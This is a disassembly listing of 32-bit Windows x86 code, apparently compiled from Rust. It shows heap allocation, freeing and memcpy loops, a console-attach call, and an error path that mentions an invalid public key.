push dword [esp + 0x334]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x348]
test eax, eax
je 0x481aa5
mov esi, dword [esp + 0x340]
shl eax, 3
lea edi, [eax + eax*2]
add esi, 0x10
jmp 0x481a78
add esi, 0x18
add edi, 0xffffffe8
je 0x481aa5
cmp dword [esi - 0xc], 0
je 0x481a8e
push dword [esi - 0x10]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esi], 0
je 0x481a70
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x481a70
mov eax, dword [esp + 0x344]
test eax, eax
je 0x481ace
shl eax, 3
lea eax, [eax + eax*2]
test eax, eax
je 0x481ace
push dword [esp + 0x340]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x354]
test eax, eax
je 0x481b0f
mov esi, dword [esp + 0x34c]
shl eax, 2
lea edi, [eax + eax*2]
add esi, 4
jmp 0x481af8
add esi, 0xc
add edi, 0xfffffff4
je 0x481b0f
cmp dword [esi], 0
je 0x481af0
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x481af0
mov eax, dword [esp + 0x350]
test eax, eax
je 0x481b38
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x481b38
push dword [esp + 0x34c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x360]
test eax, eax
je 0x481b7f
mov esi, dword [esp + 0x358]
shl eax, 2
lea edi, [eax + eax*2]
add esi, 4
jmp 0x481b68
add esi, 0xc
add edi, 0xfffffff4
je 0x481b7f
cmp dword [esi], 0
je 0x481b60
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x481b60
mov eax, dword [esp + 0x35c]
test eax, eax
je 0x481ba8
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x481ba8
push dword [esp + 0x358]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x36c]
test eax, eax
je 0x481bef
mov esi, dword [esp + 0x364]
shl eax, 2
lea edi, [eax + eax*2]
add esi, 4
jmp 0x481bd8
add esi, 0xc
add edi, 0xfffffff4
je 0x481bef
cmp dword [esi], 0
je 0x481bd0
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x481bd0
mov eax, dword [esp + 0x368]
test eax, eax
je 0x481c18
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x481c18
push dword [esp + 0x364]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x378]
test eax, eax
je 0x481c5f
mov esi, dword [esp + 0x370]
shl eax, 2
lea edi, [eax + eax*2]
add esi, 4
jmp 0x481c48
add esi, 0xc
add edi, 0xfffffff4
je 0x481c5f
cmp dword [esi], 0
je 0x481c40
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x481c40
mov eax, dword [esp + 0x374]
test eax, eax
je 0x481c88
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x481c88
push dword [esp + 0x370]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x384]
test eax, eax
je 0x481ccf
mov esi, dword [esp + 0x37c]
shl eax, 2
lea edi, [eax + eax*2]
add esi, 4
jmp 0x481cb8
add esi, 0xc
add edi, 0xfffffff4
je 0x481ccf
cmp dword [esi], 0
je 0x481cb0
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x481cb0
mov eax, dword [esp + 0x380]
test eax, eax
je 0x481cf8
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x481cf8
push dword [esp + 0x37c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x390]
test eax, eax
je 0x481d3f
mov esi, dword [esp + 0x388]
shl eax, 2
lea edi, [eax + eax*2]
add esi, 4
jmp 0x481d28
add esi, 0xc
add edi, 0xfffffff4
je 0x481d3f
cmp dword [esi], 0
je 0x481d20
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x481d20
mov eax, dword [esp + 0x38c]
test eax, eax
je 0x481d68
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x481d68
push dword [esp + 0x388]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x39c]
test eax, eax
je 0x481daf
mov esi, dword [esp + 0x394]
shl eax, 2
lea edi, [eax + eax*2]
add esi, 4
jmp 0x481d98
add esi, 0xc
add edi, 0xfffffff4
je 0x481daf
cmp dword [esi], 0
je 0x481d90
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x481d90
mov eax, dword [esp + 0x398]
test eax, eax
je 0x481dd8
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x481dd8
push dword [esp + 0x394]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x3a8]
test eax, eax
je 0x481e1f
mov esi, dword [esp + 0x3a0]
shl eax, 2
lea edi, [eax + eax*2]
add esi, 4
jmp 0x481e08
add esi, 0xc
add edi, 0xfffffff4
je 0x481e1f
cmp dword [esi], 0
je 0x481e00
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x481e00
mov eax, dword [esp + 0x3a4]
test eax, eax
je 0x481e51
mov esi, dword [esp + 0xb0]
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x481e58
push dword [esp + 0x3a0]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x481e58
mov esi, dword [esp + 0xb0]
mov ecx, ebx
xor eax, eax
add cl, 0xfe
movzx edx, cl
inc edx
cmp cl, 2
cmovb eax, edx
test eax, eax
jne 0x482d84
push 0xcd
lea eax, [esp + 0x174]
push eax
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov byte [esi + 0xcd], bl
lea eax, [esi + 0xce]
lea ecx, [esp + 0x7c8]
push 0x76
push ecx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
movaps xmm0, xmmword [esp + 0x30]
movaps xmmword [esp + 0x920], xmm0
mov eax, dword [esp + 0x920]
mov ecx, dword [esp + 0x52b]
mov dword [esi + 0x144], eax
mov eax, dword [esp + 4]
mov byte [esi + 0x148], al
mov eax, dword [esp + 0x528]
mov dword [esi + 0x149], eax
mov dword [esi + 0x14c], ecx
mov al, byte [esi + 0x129]
or al, byte [esi + 0x12b]
je 0x482010
push 0xffffffffffffffff
call sub.KERNEL32.dll_AttachConsole
test eax, eax
setne byte [esp + 0x2e0]
mov eax, dword [0x6f11c8]
cmp eax, 3
jb 0x482010
lea eax, [esp + 0x2e0]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 0x670]
mov dword [esp + 0x670], eax
mov dword [esp + 0x674], 0x45eec0
mov eax, dword [0x6f1080]
mov dword [esp + 0x3b8], 3
mov dword [esp + 0x3bc], 0x683f77
mov dword [esp + 0x3c0], 0x22
mov dword [esp + 0x3c4], 0x683fc0
mov dword [esp + 0x3c8], 1
mov dword [esp + 0x3cc], 0
mov dword [esp + 0x3d4], edx
lea edx, [esp + 0x3b8]
mov dword [esp + 0x3d8], 1
mov dword [esp + 0x3dc], 0
mov dword [esp + 0x3e4], 0x22
mov dword [esp + 0x3e0], 0x683f77
mov dword [esp + 0x3e8], 0
mov dword [esp + 0x3f0], 0x1e
mov dword [esp + 0x3ec], 0x683f99
mov dword [esp + 0x3f4], 1
mov dword [esp + 0x3f8], 0x10
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
cmp byte [esi + 0x127], 0
jne 0x482ded
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [ecx + 0xc]
test ecx, ecx
mov dword [esp + 0x70], edi
mov dword [esp + 0x9c], edx
mov dword [esp + 0x58], eax
je 0x481186
push ecx
call fcn.004502c0
add esp, 4
test eax, eax
je 0x481186
mov esi, edx
test edx, edx
js 0x482de6
mov edi, eax
test esi, esi
je 0x4821d8
mov eax, dword [0x6f1130]
test eax, eax
jne 0x48207b
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x4820f5
mov dword [0x6f1130], eax
push esi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
jne 0x4821df
jmp 0x4820f5
lea eax, [ecx + 0xc]
test ecx, ecx
mov dword [esp + 0x20], edi
mov dword [esp + 0x9c], edx
mov dword [esp + 0x58], eax
je 0x4812e6
push ecx
call fcn.004502c0
add esp, 4
test eax, eax
je 0x4812e6
mov esi, edx
test edx, edx
js 0x482de6
mov edi, eax
test esi, esi
je 0x4824b4
mov eax, dword [0x6f1130]
test eax, eax
jne 0x4820e4
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x4820f5
mov dword [0x6f1130], eax
push esi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
jne 0x4824bb
mov ecx, esi
jmp 0x4821cc
lea eax, [ecx + 0xc]
test ecx, ecx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x9c], edx
mov dword [esp + 0x58], eax
je 0x4813ad
push ecx
call fcn.004502c0
add esp, 4
test eax, eax
je 0x4813ad
mov ebx, edx
test edx, edx
js 0x482de6
mov edi, eax
test ebx, ebx
je 0x48278f
mov eax, dword [0x6f1130]
test eax, eax
jne 0x482152
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x482163
mov dword [0x6f1130], eax
push ebx
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
jne 0x482796
mov ecx, ebx
jmp 0x4821cc
lea eax, [ecx + 0xc]
test ecx, ecx
mov dword [esp + 0x9c], edx
mov dword [esp + 0x58], eax
je 0x4815c6
push ecx
call fcn.004502c0
add esp, 4
test eax, eax
je 0x4815c6
mov edi, edx
test edx, edx
js 0x482de6
mov esi, eax
test edi, edi
je 0x482a71
mov eax, dword [0x6f1130]
test eax, eax
jne 0x4821b9
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x4821ca
mov dword [0x6f1130], eax
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
jne 0x482a78
mov ecx, edi
mov edx, 1
call fcn.0040a640
ud2
mov eax, 1
xor esi, esi
push esi
push edi
mov dword [esp + 0xc], eax
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
cmp dword [esp + 0x58], 0
mov edi, 0
je 0x482211
mov eax, dword [esp + 0x9c]
mov ecx, 0xaaaaaaab
sub eax, dword [esp + 0x58]
mul ecx
mov edi, edx
shr edi, 3
cmp dword [esp + 0x8c], 0
je 0x482235
mov eax, dword [esp + 0xb4]
mov ecx, 0xaaaaaaab
sub eax, dword [esp + 0x8c]
mul ecx
shr edx, 3
jmp 0x482237
xor edx, edx
lea eax, [edx + edi + 1]
mov ecx, 0xc
mul ecx
jo 0x482de6
mov edi, eax
test eax, eax
js 0x482de6
mov eax, dword [0x6f1130]
test eax, eax
jne 0x48226d
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x483148
mov dword [0x6f1130], eax
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x483148
mov ecx, eax
mov edx, 0xaaaaaaab
mov eax, edi
mul edx
mov eax, dword [esp + 4]
shr edx, 3
mov dword [ecx], eax
mov dword [ecx + 4], esi
mov dword [ecx + 8], esi
mov dword [esp + 0x3b8], ecx
mov dword [esp + 0x3bc], edx
mov dword [esp + 0x3c0], 1
mov edx, dword [esp + 0xb4]
mov esi, dword [esp + 0x58]
mov eax, dword [esp + 0x9c]
mov edi, dword [esp + 0x8c]
mov dword [esp + 0xe8], edx
mov edx, 1
mov dword [esp + 0x7c8], esi
mov dword [esp + 0x670], eax
mov dword [esp + 0x528], edi
jmp 0x48235c
mov dword [0x6f1130], eax
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x4821ca
mov dword [esp + 4], eax
push edi
push esi
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov edx, dword [esp + 0x3c0]
mov esi, dword [esp + 0x7c8]
cmp edx, dword [esp + 0x3bc]
je 0x48242d
mov dword [esp + 0x30], edi
mov edi, edx
mov edx, dword [esp + 0x3b8]
mov ecx, dword [esp + 4]
lea eax, [edi + edi*2]
mov dword [edx + eax*4], ecx
mov ecx, edx
mov edx, edi
mov edi, dword [esp + 0x30]
inc edx
mov dword [ecx + eax*4 + 4], edi
mov dword [ecx + eax*4 + 8], edi
mov dword [esp + 0x3c0], edx
mov edi, dword [esp + 0x70]
mov eax, esi
mov dword [esp + 0x24], ecx
mov dword [esp + 0x6c], edx
test esi, esi
je 0x48237b
nop
xor esi, esi
cmp eax, dword [esp + 0x670]
jne 0x4823cf
test ebx, ebx
je 0x4823a0
cmp ebx, edi
je 0x4823a0
mov eax, dword [ebx + 8]
mov esi, dword [ebx]
add ebx, 0xc
lea eax, [eax + eax*2]
lea eax, [esi + eax*4]
mov dword [esp + 0x670], eax
mov eax, esi
test esi, esi
jne 0x482370
jmp 0x48237b
mov eax, dword [esp + 0x528]
mov dword [esp + 0x7c8], esi
test eax, eax
je 0x48249d
cmp dword [esp + 0xe8], eax
je 0x48249d
lea ecx, [eax + 0xc]
mov dword [esp + 0x528], ecx
jmp 0x4823e1
lea ecx, [eax + 0xc]
test eax, eax
mov dword [esp + 0x7c8], ecx
je 0x48249d
push eax
call fcn.004502c0
add esp, 4
test eax, eax
je 0x48249d
mov edi, edx
test edx, edx
js 0x482de6
mov esi, eax
test edi, edi
je 0x482421
mov eax, dword [0x6f1130]
test eax, eax
jne 0x4822f2
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
jne 0x4822ed
jmp 0x4821ca
mov eax, 1
xor edi, edi
jmp 0x482303
xor eax, eax
test esi, esi
mov ecx, 0
mov dword [esp + 0x6c], edx
je 0x482458
mov eax, dword [esp + 0x670]
mov ecx, 0xaaaaaaab
sub eax, dword [esp + 0x7c8]
mul ecx
mov ecx, edx
xor eax, eax
shr ecx, 3
cmp dword [esp + 0x528], 0
je 0x48247c
mov eax, dword [esp + 0xe8]
mov edx, 0xaaaaaaab
sub eax, dword [esp + 0x528]
mul edx
mov eax, edx
shr eax, 3
mov edx, dword [esp + 0x6c]
lea eax, [eax + ecx + 1]
lea ecx, [esp + 0x3b8]
push eax
call fcn.004161f0
mov edx, dword [esp + 0x70]
add esp, 4
jmp 0x48232d
mov eax, dword [esp + 0x3bc]
mov dword [esp + 0xac], eax
mov eax, dword [esp + 0x24]
jmp 0x48119e
mov eax, 1
xor esi, esi
push esi
push edi
mov dword [esp + 0x38], eax
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
cmp dword [esp + 0x58], 0
mov edi, 0
je 0x4824ed
mov eax, dword [esp + 0x9c]
mov ecx, 0xaaaaaaab
sub eax, dword [esp + 0x58]
mul ecx
mov edi, edx
shr edi, 3
cmp dword [esp + 0x8c], 0
je 0x482511
mov eax, dword [esp + 0xb4]
mov ecx, 0xaaaaaaab
sub eax, dword [esp + 0x8c]
mul ecx
shr edx, 3
jmp 0x482513
xor edx, edx
lea eax, [edx + edi + 1]
mov ecx, 0xc
mul ecx
jo 0x482de6
mov edi, eax
test eax, eax
js 0x482de6
mov eax, dword [0x6f1130]
test eax, eax
jne 0x482549
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x483148
mov dword [0x6f1130], eax
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x483148
mov ecx, eax
mov edx, 0xaaaaaaab
mov eax, edi
mul edx
mov eax, dword [esp + 0x30]
mov dword [esp + 0x30], ecx
shr edx, 3
mov dword [ecx], eax
mov dword [ecx + 4], esi
mov dword [ecx + 8], esi
mov dword [esp + 0x3b8], ecx
mov dword [esp + 0x3bc], edx
mov dword [esp + 0x3c0], 1
mov ecx, dword [esp + 0xb4]
mov esi, dword [esp + 0x58]
mov eax, dword [esp + 0x9c]
mov edx, dword [esp + 0x8c]
mov dword [esp + 0xe8], ecx
mov ecx, 1
mov dword [esp + 0x7c8], esi
mov dword [esp + 0x670], eax
mov dword [esp + 0x528], edx
jmp 0x48263a
mov dword [0x6f1130], eax
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x4821ca
mov dword [esp + 0x30], eax
push edi
push esi
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov ecx, dword [esp + 0x3c0]
mov esi, dword [esp + 0x7c8]
mov dword [esp + 0x70], edi
cmp ecx, dword [esp + 0x3bc]
je 0x48270d
mov edx, dword [esp + 0x3b8]
mov edi, dword [esp + 0x30]
lea eax, [ecx + ecx*2]
inc ecx
mov dword [edx + eax*4], edi
mov edi, dword [esp + 0x70]
mov dword [esp + 0x30], edx
mov dword [edx + eax*4 + 4], edi
mov dword [edx + eax*4 + 8], edi
mov dword [esp + 0x3c0], ecx
mov edx, dword [esp + 0x20]
mov eax, esi
mov dword [esp + 0x1c], ecx
test esi, esi
je 0x48265b
nop dword [eax + eax]
xor esi, esi
cmp eax, dword [esp + 0x670]
jne 0x4826af
test ebx, ebx
je 0x482680
cmp ebx, edx
je 0x482680
mov eax, dword [ebx + 8]
mov esi, dword [ebx]
add ebx, 0xc
lea eax, [eax + eax*2]
lea eax, [esi + eax*4]
mov dword [esp + 0x670], eax
mov eax, esi
test esi, esi
jne 0x482650
jmp 0x48265b
mov eax, dword [esp + 0x528]
mov dword [esp + 0x7c8], esi
test eax, eax
je 0x48277b
cmp dword [esp + 0xe8], eax
je 0x48277b
lea ecx, [eax + 0xc]
mov dword [esp + 0x528], ecx
jmp 0x4826c1
lea ecx, [eax + 0xc]
test eax, eax
mov dword [esp + 0x7c8], ecx
je 0x48277b
push eax
call fcn.004502c0
add esp, 4
test eax, eax
je 0x48277b
mov edi, edx
test edx, edx
js 0x482de6
mov esi, eax
test edi, edi
je 0x482701
mov eax, dword [0x6f1130]
test eax, eax
jne 0x4825d2
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
jne 0x4825cd
jmp 0x4821ca
mov eax, 1
xor edi, edi
jmp 0x4825e3
mov dword [esp + 0x1c], ecx
xor edx, edx
test esi, esi
mov ecx, 0
je 0x482738
mov eax, dword [esp + 0x670]
mov ecx, 0xaaaaaaab
sub eax, dword [esp + 0x7c8]
mul ecx
mov ecx, edx
xor edx, edx
shr ecx, 3
cmp dword [esp + 0x528], 0
je 0x48275a
mov eax, dword [esp + 0xe8]
mov edx, 0xaaaaaaab
sub eax, dword [esp + 0x528]
mul edx
shr edx, 3
mov edi, dword [esp + 0x1c]
lea eax, [edx + ecx + 1]
lea ecx, [esp + 0x3b8]
mov edx, edi
push eax
call fcn.004161f0
mov ecx, edi
add esp, 4
jmp 0x482611
mov eax, dword [esp + 0x3bc]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x20], eax
jmp 0x4812fc
mov eax, 1
xor ebx, ebx
push ebx
push edi
mov dword [esp + 0xc], eax
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
cmp dword [esp + 0x58], 0
mov edi, 0
je 0x4827c8
mov eax, dword [esp + 0x9c]
mov ecx, 0xaaaaaaab
sub eax, dword [esp + 0x58]
mul ecx
mov edi, edx
shr edi, 3
cmp dword [esp + 0x8c], 0
je 0x4827ec
mov eax, dword [esp + 0xb4]
mov ecx, 0xaaaaaaab
sub eax, dword [esp + 0x8c]
mul ecx
shr edx, 3
jmp 0x4827ee
xor edx, edx
lea eax, [edx + edi + 1]
mov ecx, 0xc
mul ecx
jo 0x482de6
mov edi, eax
test eax, eax
js 0x482de6
mov eax, dword [0x6f1130]
test eax, eax
jne 0x482824
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x483148
mov dword [0x6f1130], eax
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x483148
mov ecx, eax
mov edx, 0xaaaaaaab
mov eax, edi
mul edx
mov eax, dword [esp + 4]
shr edx, 3
mov dword [ecx], eax
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
mov dword [esp + 0x3b8], ecx
mov dword [esp + 0x3bc], edx
mov dword [esp + 0x3c0], 1
mov edx, dword [esp + 0xb4]
mov edi, dword [esp + 0x58]
mov eax, dword [esp + 0x9c]
mov ebx, dword [esp + 0x8c]
mov dword [esp + 0xe8], edx
mov edx, 1
mov dword [esp + 0x7c8], edi
mov dword [esp + 0x670], eax
mov dword [esp + 0x528], ebx
jmp 0x48290f
mov dword [0x6f1130], eax
push ebx
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x482163
mov dword [esp + 4], eax
push ebx
push edi
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov edx, dword [esp + 0x3c0]
mov edi, dword [esp + 0x7c8]
cmp edx, dword [esp + 0x3bc]
je 0x4829ed
mov dword [esp + 0x28], ebx
mov ebx, dword [esp + 0x3b8]
mov ecx, dword [esp + 4]
lea eax, [edx + edx*2]
inc edx
mov dword [ebx + eax*4], ecx
mov ecx, ebx
mov ebx, dword [esp + 0x28]
mov dword [ecx + eax*4 + 4], ebx
mov dword [ecx + eax*4 + 8], ebx
mov dword [esp + 0x3c0], edx
mov ebx, dword [esp + 0x18]
mov eax, edi
mov dword [esp + 4], ecx
mov dword [esp + 0x70], edx
test edi, edi
je 0x48293b
nop word cs:[eax + eax]
nop dword [eax + eax]
xor edi, edi
cmp eax, dword [esp + 0x670]
jne 0x48298f
test esi, esi
je 0x482960
cmp esi, ebx
je 0x482960
mov eax, dword [esi + 8]
mov edi, dword [esi]
add esi, 0xc
lea eax, [eax + eax*2]
lea eax, [edi + eax*4]
mov dword [esp + 0x670], eax
mov eax, edi
test edi, edi
jne 0x482930
jmp 0x48293b
mov eax, dword [esp + 0x528]
mov dword [esp + 0x7c8], edi
test eax, eax
je 0x482a5d
cmp dword [esp + 0xe8], eax
je 0x482a5d
lea ecx, [eax + 0xc]
mov dword [esp + 0x528], ecx
jmp 0x4829a1
lea ecx, [eax + 0xc]
test eax, eax
mov dword [esp + 0x7c8], ecx
je 0x482a5d
push eax
call fcn.004502c0
add esp, 4
test eax, eax
je 0x482a5d
mov ebx, edx
test edx, edx
js 0x482de6
mov edi, eax
test ebx, ebx
je 0x4829e1
mov eax, dword [0x6f1130]
test eax, eax
jne 0x4828a9
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
jne 0x4828a4
jmp 0x482163
mov eax, 1
xor ebx, ebx
jmp 0x4828ba
xor eax, eax
test edi, edi
mov ecx, 0
mov dword [esp + 0x70], edx
je 0x482a18
mov eax, dword [esp + 0x670]
mov ecx, 0xaaaaaaab
sub eax, dword [esp + 0x7c8]
mul ecx
mov ecx, edx
xor eax, eax
shr ecx, 3
cmp dword [esp + 0x528], 0
je 0x482a3c
mov eax, dword [esp + 0xe8]
mov edx, 0xaaaaaaab
sub eax, dword [esp + 0x528]
mul edx
mov eax, edx
shr eax, 3
mov edx, dword [esp + 0x70]
lea eax, [eax + ecx + 1]
lea ecx, [esp + 0x3b8]
push eax
call fcn.004161f0
mov edx, dword [esp + 0x74]
add esp, 4
jmp 0x4828e4
mov eax, dword [esp + 0x3bc]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 4]
jmp 0x4813c2
mov eax, 1
xor edi, edi
push edi
push esi
mov dword [esp + 0x20], eax
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
cmp dword [esp + 0x58], 0
mov esi, 0
je 0x482aaa
mov eax, dword [esp + 0x9c]
mov ecx, 0xaaaaaaab
sub eax, dword [esp + 0x58]
mul ecx
mov esi, edx
shr esi, 3
cmp dword [esp + 0x8c], 0
je 0x482ace
mov eax, dword [esp + 0xb4]
mov ecx, 0xaaaaaaab
sub eax, dword [esp + 0x8c]
mul ecx
shr edx, 3
jmp 0x482ad0
xor edx, edx
lea eax, [edx + esi + 1]
mov ecx, 0xc
mul ecx
jo 0x482de6
mov esi, eax
test eax, eax
js 0x482de6
mov eax, dword [0x6f1130]
test eax, eax
jne 0x482b06
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x482fc9
mov dword [0x6f1130], eax
push esi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x482fc9
mov ecx, eax
mov edx, 0xaaaaaaab
mov eax, esi
mul edx
mov eax, dword [esp + 0x18]
mov dword [esp + 0x18], ecx
shr edx, 3
mov dword [ecx], eax
mov dword [ecx + 4], edi
mov dword [ecx + 8], edi
mov dword [esp + 0x3b8], ecx
mov dword [esp + 0x3bc], edx
mov dword [esp + 0x3c0], 1
mov edx, dword [esp + 0x8c]
mov edi, dword [esp + 0x58]
mov eax, dword [esp + 0x9c]
mov ecx, dword [esp + 0xb4]
mov dword [esp + 0x528], edx
mov edx, 1
mov dword [esp + 0x7c8], edi
mov dword [esp + 0x670], eax
mov dword [esp + 0xe8], ecx
jmp 0x482bf8
push esi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x4820f5
mov dword [esp + 0x18], eax
push esi
push edi
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov edx, dword [esp + 0x3c0]
mov edi, dword [esp + 0x7c8]
cmp edx, dword [esp + 0x3bc]
je 0x482cd2
mov dword [esp + 0x88], esi
mov ecx, dword [esp + 0x3b8]
mov esi, dword [esp + 0x18]
lea eax, [edx + edx*2]
inc edx
mov dword [ecx + eax*4], esi
mov esi, dword [esp + 0x88]
mov dword [esp + 0x18], ecx
mov dword [ecx + eax*4 + 4], esi
mov dword [ecx + eax*4 + 8], esi
mov dword [esp + 0x3c0], edx
mov ecx, dword [esp + 0xbc]
mov eax, edi
mov dword [esp + 0x50], edx
test edi, edi
je 0x482c1b
nop dword [eax]
xor edi, edi
cmp eax, dword [esp + 0x670]
jne 0x482c6f
test ebx, ebx
je 0x482c40
cmp ebx, ecx
je 0x482c40
mov eax, dword [ebx + 8]
mov edi, dword [ebx]
add ebx, 0xc
lea eax, [eax + eax*2]
lea eax, [edi + eax*4]
mov dword [esp + 0x670], eax
mov eax, edi
test edi, edi
jne 0x482c10
jmp 0x482c1b
mov eax, dword [esp + 0x528]
mov dword [esp + 0x7c8], edi
test eax, eax
je 0x482d42
cmp dword [esp + 0xe8], eax
je 0x482d42
lea ecx, [eax + 0xc]
mov dword [esp + 0x528], ecx
jmp 0x482c81
lea ecx, [eax + 0xc]
test eax, eax
mov dword [esp + 0x7c8], ecx
je 0x482d42
push eax
call fcn.004502c0
add esp, 4
test eax, eax
je 0x482d42
mov esi, edx
test edx, edx
js 0x482de6
mov edi, eax
test esi, esi
je 0x482cc6
mov eax, dword [0x6f1130]
test eax, eax
jne 0x482b8a
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x4820f5
mov dword [0x6f1130], eax
jmp 0x482b8a
mov eax, 1
xor esi, esi
jmp 0x482b9b
xor eax, eax
test edi, edi
mov ecx, 0
mov dword [esp + 0x50], edx
je 0x482cfd
mov eax, dword [esp + 0x670]
mov ecx, 0xaaaaaaab
sub eax, dword [esp + 0x7c8]
mul ecx
mov ecx, edx
xor eax, eax
shr ecx, 3
cmp dword [esp + 0x528], 0
je 0x482d21
mov eax, dword [esp + 0xe8]
mov edx, 0xaaaaaaab
sub eax, dword [esp + 0x528]
mul edx
mov eax, edx
shr eax, 3
mov edx, dword [esp + 0x50]
lea eax, [eax + ecx + 1]
lea ecx, [esp + 0x3b8]
push eax
call fcn.004161f0
mov edx, dword [esp + 0x54]
add esp, 4
jmp 0x482bc5
mov eax, dword [esp + 0x3bc]
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x88], eax
jmp 0x4815df
mov edi, dword [esp + 0x4c]
mov ebx, dword [esp + 0x98]
test eax, eax
jne 0x47f8b4
jmp 0x47f8c2
mov ecx, edx
mov edx, eax
push 0x61ce74
call fcn.0045a150
add esp, 4
ud2
cmp eax, 1
jne 0x482e50
call fcn.004fd450
lea ecx, [esp + 0x3b8]
mov dword [esp + str.Invalid_public_key._n4], 0x61cf48
mov dword [esp + 0x3bc], 1
mov dword [esp + 0x3c0], 0
mov dword [esp + 0x3c8], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x3cc], 0
call fcn.005e3cc0
call fcn.00486ec0
mov ecx, 2
call fcn.005ed5b0
ud2
call fcn.0040a620
ud2
add esi, 0xd8
mov edx, esi
lea esi, [esp + 0x3b8]
mov ecx, esi
call fcn.00487150
lea edi, [esp + 0x670]
mov edx, esi
mov ecx, edi
call fcn.004871e0
mov ecx, dword [esp + 0x670]
mov edx, dword [esp + 0x678]
call fcn.00514a60
lea ecx, [esp + 0x3b8]
mov dword [esp + 0x3bc], edx
mov dword [esp + 0x3b8], eax
call fcn.00486c70
mov ecx, edi
call fcn.00487220
xor ecx, ecx
call fcn.005ed5b0
ud2
call fcn.004fd450
lea ecx, [esp + 0x3b8]
